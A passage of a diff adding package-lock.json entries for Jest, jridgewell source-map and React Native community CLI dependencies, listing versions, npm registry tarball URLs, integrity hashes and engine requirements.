"https://registry.npmjs.org/@jest/create-cache-key-function/-/create-cache-key-function-29.4.3.tgz", + "integrity": "sha512-AJVFQTTy6jnZAQiAZrdOaTAPzJUrvAE/4IMe+Foav6WPhypFszqg7a4lOTyuzYQEEiT5RSrGYg9IY+/ivxiyXw==", + "peer": true, + "dependencies": { + "@jest/types": "^29.4.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/environment": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.4.3.tgz", + "integrity": "sha512-dq5S6408IxIa+lr54zeqce+QgI+CJT4nmmA+1yzFgtcsGK8c/EyiUb9XQOgz3BMKrRDfKseeOaxj2eO8LlD3lA==", + "peer": true, + "dependencies": { + "@jest/fake-timers": "^29.4.3", + "@jest/types": "^29.4.3", + "@types/node": "*", + "jest-mock": "^29.4.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/fake-timers": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.4.3.tgz", + "integrity": "sha512-4Hote2MGcCTWSD2gwl0dwbCpBRHhE6olYEuTj8FMowdg3oQWNKr2YuxenPQYZ7+PfqPY1k98wKDU4Z+Hvd4Tiw==", + "peer": true, + "dependencies": { + "@jest/types": "^29.4.3", + "@sinonjs/fake-timers": "^10.0.2", + "@types/node": "*", + "jest-message-util": "^29.4.3", + "jest-mock": "^29.4.3", + "jest-util": "^29.4.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/schemas": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.4.3.tgz", + "integrity": "sha512-VLYKXQmtmuEz6IxJsrZwzG9NvtkQsWNnWMsKxqWNu3+CnfzJQhp0WDDKWLVV9hLKr0l3SLLFRqcYHjhtyuDVxg==", + "peer": true, + "dependencies": { + "@sinclair/typebox": "^0.25.16" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/types": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.4.3.tgz", + "integrity": "sha512-bPYfw8V65v17m2Od1cv44FH+SiKW7w2Xu7trhcdTLUmSv85rfKsP+qXSjO4KGJr4dtPSzl/gvslZBXctf1qGEA==", + "peer": true, + "dependencies": { + "@jest/schemas": "^29.4.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/types/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/types/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@jest/types/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", + "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", + "peer": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.0", + "@jridgewell/sourcemap-codec": "^1.4.10" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", + "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", + "peer": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/source-map/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "peer": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.17", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.17.tgz", + "integrity": "sha512-MCNzAp77qzKca9+W/+I0+sEpaUnZoeasnghNeVc41VZCEKaCH73Vq3BZZ/SzWIgrqE4H4ceI+p+b6C0mHf9T4g==", + "dependencies": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "node_modules/@react-native-community/cli": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/@react-native-community/cli/-/cli-10.1.3.tgz", + "integrity": "sha512-kzh6bYLGN1q1q0IiczKSP1LTrovFeVzppYRTKohPI9VdyZwp7b5JOgaQMB/Ijtwm3MxBDrZgV9AveH/eUmUcKQ==", + "peer": true, + "dependencies": { + "@react-native-community/cli-clean": "^10.1.1", + "@react-native-community/cli-config": "^10.1.1", + "@react-native-community/cli-debugger-ui": "^10.0.0", + "@react-native-community/cli-doctor": "^10.1.1", + "@react-native-community/cli-hermes": "^10.1.3", + "@react-native-community/cli-plugin-metro": "^10.1.1", + "@react-native-community/cli-server-api": "^10.1.1", + "@react-native-community/cli-tools": "^10.1.1", + "@react-native-community/cli-types": "^10.0.0", + "chalk": "^4.1.2", + "commander": "^9.4.1", + "execa": "^1.0.0", + "find-up": "^4.1.0", + "fs-extra": "^8.1.0", + "graceful-fs": "^4.1.3", + "prompts": "^2.4.0", + "semver": "^6.3.0" + }, + "bin": { + "react-native": "build/bin.js" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@react-native-community/cli-clean": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-clean/-/cli-clean-10.1.1.tgz", + "integrity": "sha512-iNsrjzjIRv9yb5y309SWJ8NDHdwYtnCpmxZouQDyOljUdC9MwdZ4ChbtA4rwQyAwgOVfS9F/j56ML3Cslmvrxg==", + "peer": true, + "dependencies": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "prompts": "^2.4.0" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-clean/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/@react-native-community/cli-clean/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-config": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-config/-/cli-config-10.1.1.tgz", + "integrity": "sha512-p4mHrjC+s/ayiNVG6T35GdEGdP6TuyBUg5plVGRJfTl8WT6LBfLYLk+fz/iETrEZ/YkhQIsQcEUQC47MqLNHog==", + "peer": true, + "dependencies": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "cosmiconfig": "^5.1.0", + "deepmerge": "^3.2.0", + "glob": "^7.1.3", + "joi": "^17.2.1" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-config/node_modules/cosmiconfig": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz", + "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==", + "peer": true, + "dependencies": { + "import-fresh": "^2.0.0", + "is-directory": "^0.3.1", + "js-yaml": "^3.13.1", + "parse-json": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "peer": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "peer": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==", + "peer": true, + "dependencies": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@react-native-community/cli-config/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-debugger-ui": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-debugger-ui/-/cli-debugger-ui-10.0.0.tgz", + "integrity": "sha512-8UKLcvpSNxnUTRy8CkCl27GGLqZunQ9ncGYhSrWyKrU9SWBJJGeZwi2k2KaoJi5FvF2+cD0t8z8cU6lsq2ZZmA==", + "peer": true, + "dependencies": { + "serve-static": "^1.13.1" + } + }, + "node_modules/@react-native-community/cli-doctor": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-doctor/-/cli-doctor-10.2.0.tgz", + "integrity": "sha512-yLxJazUmNSPslHxeeev0gLvsK0nQan8BmGWbtqPz2WwbIbD89vbytC7G96OxiQXr46iWEWAwEJiTTdgA7jlA5Q==", + "peer": true, + "dependencies": { + "@react-native-community/cli-config": "^10.1.1", + "@react-native-community/cli-platform-ios": "^10.2.0", + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "command-exists": "^1.2.8", + "envinfo": "^7.7.2", + "execa": "^1.0.0", + "hermes-profile-transformer": "^0.0.6", + "ip": "^1.1.5", + "node-stream-zip": "^1.9.1", + "ora": "^5.4.1", + "prompts": "^2.4.0", + "semver": "^6.3.0", + "strip-ansi": "^5.2.0", + "sudo-prompt": "^9.0.0", + "wcwidth": "^1.0.1" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/@react-native-community/cli-platform-ios": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-ios/-/cli-platform-ios-10.2.0.tgz", + "integrity": "sha512-hIPK3iL/mL+0ChXmQ9uqqzNOKA48H+TAzg+hrxQLll/6dNMxDeK9/wZpktcsh8w+CyhqzKqVernGcQs7tPeKGw==", + "peer": true, + "dependencies": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "fast-xml-parser": "^4.0.12", + "glob": "^7.1.3", + "ora": "^5.4.1" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-doctor/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/cross-spawn/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "peer": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } 